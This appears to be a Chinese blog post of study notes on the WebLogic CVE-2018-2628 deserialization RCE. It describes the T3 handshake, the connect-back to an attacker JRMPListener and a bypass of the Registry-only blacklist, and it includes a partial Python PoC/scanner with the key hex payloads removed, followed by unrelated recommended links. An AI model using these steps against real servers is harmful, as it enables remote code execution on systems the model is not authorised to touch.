weblogic WLS 反序列化漏洞学习



鸣谢


感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi;感谢群内各位大佬及时传播了分析文档,我才有幸能看到。

## 漏洞简介 ##
***
+ 漏洞威胁:RCE--远程代码执行
+ 漏洞组件:weblogic
+ 影响版本:10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3
+ 温馨提示:对于攻击者自己构造的新的payload,还没有被oracle加入黑名单,所以还是多加留心、持续监控的好。

漏洞复现


  • 我保存了python漏扫脚本,重命名为weblogic2628.py;
  • 使用命令python weblogic2628.py (目标在脚本代码内修改了)探测发现存在漏洞;
  • 由于漏洞环境不能控制,没有做进一步测试;

根据大佬分析文档中的步骤,援引如下:

+ 首先利用weblogic的T3或者T3S协议(目标端口7001)进行握手尝试,如果握手成功,发送第一步payload;
![](https://images2018.cnblogs.com/blog/1070321/201804/1070321-20180418142538960-2109398262.png)
+ 第一步payload,T3服务会解包Object结果,然后通过java反序列化最倒霉的函数readObject函数层层反序列化,去请求攻击者服务器的1099端口,下载恶意payload;借用大神一张图:
![](https://images2018.cnblogs.com/blog/1070321/201804/1070321-20180418142730658-294636473.png)
+ 第二步,攻击者在自己的服务器上启用ysoserial.exploit.JRMPListener,JRMPListener会将含有恶意代码的payload发送回请求方,这里就是的恶意Payload就是任意代码执行的恶意代码;
+ 援引大神的话:查看weblogic日志,并且可以弹出计算器,借大神一张图:
![](https://images2018.cnblogs.com/blog/1070321/201804/1070321-20180418143041266-1458087858.png)

漏洞分析部分学习笔记


protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length; for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
} return super.resolveProxyClass(interfaces);
}

上边放上了源码:来看看InboundMsgAbbrev中resolveProxyClass的实现,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,其实随便找一个rmi接口即可绕过。

大概意思应该是,只判断是否是RMI接口,如果是就OK,没有做其他的权限检查,或可信检查,导致攻击者自己起一个RMI接口,就可以引导weblogic去请求自己存好的恶意代码段;这个恶意代码是利用JRMP加载回来的利用readObject解析的,从而达到了RCE的目的。对于JRMP的解析可以看下大神的原话:

核心部分就是JRMP(Java Remote Methodprotocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行。

poc简要分析(隐去关键十六进制payload部分)


def run(dip,dport,index):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
sock.settimeout(65)
server_addr = (dip, dport)
t3handshake(sock,server_addr)
buildT3RequestObject(sock,dport)
rs=sendEvilObjData(sock,PAYLOAD[index])
print 'rs',rs
checkVul(rs,server_addr,index)
def t3handshake(sock,server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print 'handshake successful'
def buildT3RequestObject(sock,port):
data1 = ''
data2 = ''.format('{:04x}'.format(dport))
data3 = ''
data4 = ''
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print 'send request payload successful,recv length:%d'%(len(sock.recv(2048))) def sendEvilObjData(sock,data):
payload=''
payload+=data
payload+=''
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception as e:
pass
return res def checkVul(res,server_addr,index):
p=re.findall(VER_SIG[index], res, re.S)
if len(p)>0:
print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
else:
print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])

看一下基本过程就是先进行T3的握手,成功了就发送第一步的payload,然后发送RequestObject,尝试让weblogic反连自己,然后发送恶意数据,通过回显判定恶意特征串来判定是否存在漏洞。

CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记的更多相关文章

  1. PHP 反序列化漏洞入门学习笔记

    参考文章: PHP反序列化漏洞入门 easy_serialize_php wp 实战经验丨PHP反序列化漏洞总结 PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患 利用 pha ...

  2. WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)复现

    WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)                                                -----by  ba ...

  3. WebLogic XMLDecoder反序列化漏洞复现

    WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...

  4. weblogic系列漏洞整理 -- 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)

    目录 四. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271) 0. 漏洞分析 1. 利用过程 2. 修复建议 一.weblogic安装 http://www.cnb ...

  5. PHP反序列化漏洞代码审计—学习资料

    1.什么是序列化 A.PHP网站的定义: 所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示.unserialize()函数能够重新把字符串变回php原来的值. ...

  6. CVE-2020-14644 weblogic iiop反序列化漏洞

    0x00 weblogic 受影响版本 Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 0x01 环境准备 1.安装weblogic ...

  7. 【研究】Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)

    影响范围: Oracle WebLogic Server 10.3.6.0.0版本 Oracle WebLogic Server 12.1.3.0.0版本 Oracle WebLogic Server ...

  8. fastjsion反序列化漏洞渗透测试笔记

    本文原创地址:https://www.cnblogs.com/yunmuq/p/14268028.html 一.背景 fastjsion是阿里的开源Java工具:https://github.com/ ...

  9. CVE补丁安全漏洞【学习笔记】

    更新安卓系统的CVE补丁网站:https://www.cvedetails.com/vulnerability-list/vendor_id-1224/product_id-19997/version ...

随机推荐

  1. Linux下安装rpm出现error: Failed dependencies

    在Linux下安装rpm包时经常会遇到下面这个问题: error: Failed dependencies: xxxxxxxxxxxxxxxxxxxxxx 遇到此问题时可以在安装rpm包命令的后面加两 ...

  2. Linux下如何查看tomcat是否启动/系统日志等

    Linux下如何查看tomcat是否启动/系统日志等 查看tomcat是否启动 ps -ef | grep tomcat  或者  ps -ef | grep java 启动tomcat(在tomca ...

  3. 分布式下的session处理方式

    分布式下的session处理方式 现在的企业级别开发下,分布式的问题是随处可见.今天我们来看看分布式情况下session的处理. 目前的处理方式有以下几种: 1.session黏性.就是说,用户在访问 ...

  4. 登录centos虚拟机后显示-bash-4.1

    http://zhidao.baidu.com/link?url=KwpGOdwFw1oxnL71pvPlfRgbRL_IuQeYRzIYJjiDb2SnX0dQye5yUXqHAGSyuD6u2nD ...

  5. 自然语言交流系统 phxnet团队 创新实训 个人博客 (一)

    项目涉及链表操作,遂整理: 使用链表结构可以克服数组链表需要预先知道数据大小的缺点,链表结构可以充分利用计算机内存空间,实现灵活的内存动态管理.但是链表失去了数组随机读取的优点,同时链表由于增加了结点 ...

  6. 关于Cocos2d-x中坐标系的种类和转换

    注意: 当一个节点有一个子节点的时候,如果移动父节点,子节点也会跟着做相应的移动变化,只要被添加到父节点中,子节点就被绑定了,所以子节点的位置,坐标就会被动地变化. 当一个节点有一个子节点的时候,如果 ...

  7. Ubuntu之Docker安装

    1.添加官方的GPG key到系统 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - 2.添加D ...

  8. C++ 有用的网站

    C++ 有用的网站C++ Programming Language Tutorials ? C++ 编程语言教程.C++ Programming ? 这本书涵盖了 C++ 语言编程.软件交互设计.C+ ...

  9. (转)typedef 函数指针的用法

    typedef 函数指针的用法   在网上搜索函数指针,看到一个例子.开始没看懂,想放弃,可是转念一想,这个用法迟早要弄懂的,现在多花点时间看懂它,好过以后碰到了要再花一倍时间来弄懂它.其实很多时候都 ...

  10. 奇葩问题:ListView中Item与Item中的Button不能单击问题

    android中ListView是一个经常要用到的一个组件,用到该组件时经常会碰到ListView的Item和Item中的Button不能单击的问题. 本人在使用时同样也遇到过这样的情况,共有三种情况 ...